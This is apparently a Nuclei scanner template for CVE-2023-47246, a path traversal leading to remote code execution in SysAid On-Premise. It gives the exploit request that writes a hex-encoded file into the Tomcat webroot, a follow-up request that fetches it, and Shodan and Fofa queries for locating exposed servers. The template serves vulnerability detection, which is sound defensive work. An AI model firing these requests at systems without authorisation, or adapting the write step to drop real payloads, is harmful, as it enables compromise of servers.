55 lines
2.5 KiB
YAML
55 lines
2.5 KiB
YAML
id: CVE-2023-47246
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info:
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name: SysAid Server - Remote Code Execution
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
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reference:
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- https://www.huntress.com/blog/critical-vulnerability-sysaid-cve-2023-47246
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- https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
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- https://www.rapid7.com/blog/post/2023/11/09/etr-cve-2023-47246-sysaid-zero-day-vulnerability-exploited-by-lace-tempest/
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- https://www.cisa.gov/news-events/alerts/2023/11/13/cisa-adds-six-known-exploited-vulnerabilities-catalog
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- https://documentation.sysaid.com/docs/latest-version-installation-files
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-47246
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cwe-id: CWE-22
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epss-score: 0.94622
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epss-percentile: 0.99239
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cpe: cpe:2.3:a:sysaid:sysaid_on-premises:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: sysaid
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product: sysaid_on-premises
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shodan-query:
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- http.favicon.hash:1540720428
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- http.favicon.hash:"1540720428"
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fofa-query: icon_hash="1540720428"
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tags: cve,cve2023,sysaid,rce,kev,traversal,intrusive
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variables:
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directory: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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POST /userentry?accountId=/../../../tomcat/webapps/{{directory}}/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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{{ hex_decode('789c0bf06666e16200819c8abcf02241510f4e201b84851864189cc35c758d0c8c8c754dcc8d4cccf44a2a4a42433819981fdb05a79e63f34b2dade0666064f9cac8c0c0023201a83a3ec43538842bc09b91498e1997b1126071a026862d8d506d1896b0422c41b320c09b950da2979121024887824d02000d3f1fcb') }}
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- |
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@timeout: 15
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GET /{{directory}}/CVE-2023-47246.txt?{{wait_for(9)}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- "contains(body_2,'CVE_TEST') && status_code_1==200 && status_code_2==200"
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# digest: 490a004630440220337201087c74967a30ba3ce31445932ecdc2584314ba068984d047bd6d1ef04f02206a74c3228b19ba3cb1a4d2a443090fecd9996fc1cdac174a51390ea4f2267ba0:922c64590222798bb761d5b6d8e72950 |